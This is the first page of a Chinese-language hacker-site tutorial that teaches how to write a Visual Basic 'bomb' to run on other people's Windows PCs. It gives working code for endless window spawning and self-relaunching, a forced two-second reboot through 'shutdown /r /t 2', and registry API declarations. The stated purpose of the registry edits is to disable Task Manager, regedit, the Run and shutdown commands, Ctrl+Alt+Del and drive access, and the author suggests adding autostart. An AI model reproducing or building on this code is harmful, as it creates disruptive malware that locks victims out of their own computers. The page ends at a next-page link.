更多黑客基礎知識請看:天極黑客專區
新的一年又到來了,和我的朋友們都在忙著趕項目,就在我一個不小心寫出了一個死循環時,想起了一種很古老的炸彈---藍屏死機炸彈,於是我就有了寫炸彈這個想法,因為我用的是C#.net,把源代碼拿過來,大家想調試還要安裝.net框架,於是我就想到了用VB來寫,那麼下面就讓我們來進入正題吧。
一、彈要實現的功能
既然是炸彈,那當然要寫的厲害些,首先就要像很久以前那個網頁炸彈一樣,彈出無數個窗口,這個功能是給別人打馬虎眼的,讓他一心想著去阻止炸彈繼續的彈出窗口;第二個功能是專門針對windows XP而做的,當然也是在2004年第12期黑防雜志上看到的---自動重啟計算機(如圖1),
那麼下一項就是讓每一個人都感到郁悶的事---修改注冊表。我今天教大家寫的炸彈實現的功能大部分還是靠注冊表,主要的功能還是要禁止中招的人打開任務管理器,禁止使用注冊表,隱藏桌面所有圖標,禁止使用開始菜單裡面的運行,搜索,關機,屏蔽ctrl+alt+del裡的內容,禁止使用IE浏覽器裡的所有屬性,屏蔽C盤,D盤等盤,這樣的結果看上去一定很可怕,如果我們屏蔽右鍵或者加那麼一點點的代碼設成開機自動運行,那後果會是什麼樣的就可想而知了吧?
二、代碼實現
下面讓我們打開VB編譯器,在窗體上面加3個timer控件,然後Interval屬性設得盡量小點,該屬性1000為1秒,我的設成了6,這樣在一秒就會談出上百個窗口了。
實現代碼如下:
Private Sub Timer1_Timer()
Dim a As New Form1 ‘聲明以後出現a就是代表Form1
a.Show ‘Form1彈出
End Sub
Private Sub Timer2_Timer()
Shell App.EXEName ‘運行這個軟件的本身
End Sub
然後隱藏窗體本身,書縣代碼如下:
Private Sub Form_Load()
Me.Hide
End Sub
那麼在XP裡自動關機是怎麼回事呢?這個就是一個命令就能搞定的(shutdown /r /t 2),就是說,重新啟動計算機的倒計時是2秒,這樣中招的人就沒有辦法停止我們的shutdown了,其實到這裡就可以算是一個有趣的惡作劇了。實現代碼如下:
Private Sub Timer3_Timer()
Shell ("cmd.exe /c shutdown /r /t 2") ‘調用cmd 然後在cmd裡輸入shutdown /r /t 2就是說設倒計時時間限制為2秒
End Sub
下面說說修改注冊表吧,既然要修改注冊表,那我們怎麼能不調用API呢?當然,曾經在電腦報裡也有說不用API就能讀寫注冊表的,但是我想還是讓大家用API吧,畢竟API接觸多了是件好事。那麼就讓我來教大家條用API來簡便的修改注冊表吧,我們先來建一個模塊,在裡面加入代碼:
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long ‘這是調用API函數來關閉注冊表
Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, ByVal lpSecurityAttributes As Long, phkResult As Long, lpdwDisposition As Long) As Long ‘這是調用AP函數在注冊表裡創建一個鍵
Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long ‘這是調用api函數打開注冊表
Declare Function RegQueryValueExString Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long
Declare Function RegQueryValueExLong Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Long, lpcbData As Long) As Long
Declare Function RegQueryValueExNULL Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As Long, lpcbData As Long) As Long
Declare Function RegSetValueExString Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long ‘調用API來設置注冊表裡的鍵名
Declare Function RegSetValueExLong Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpValue As Long, ByVal cbData As Long) As Long
Private Declare Function RegDeleteKey& Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) ‘調用API刪除注冊表裡的的鍵
Private Declare Function RegDeleteValue& Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) ‘調用API刪除注冊表裡的的鍵值
123下一頁閱讀全文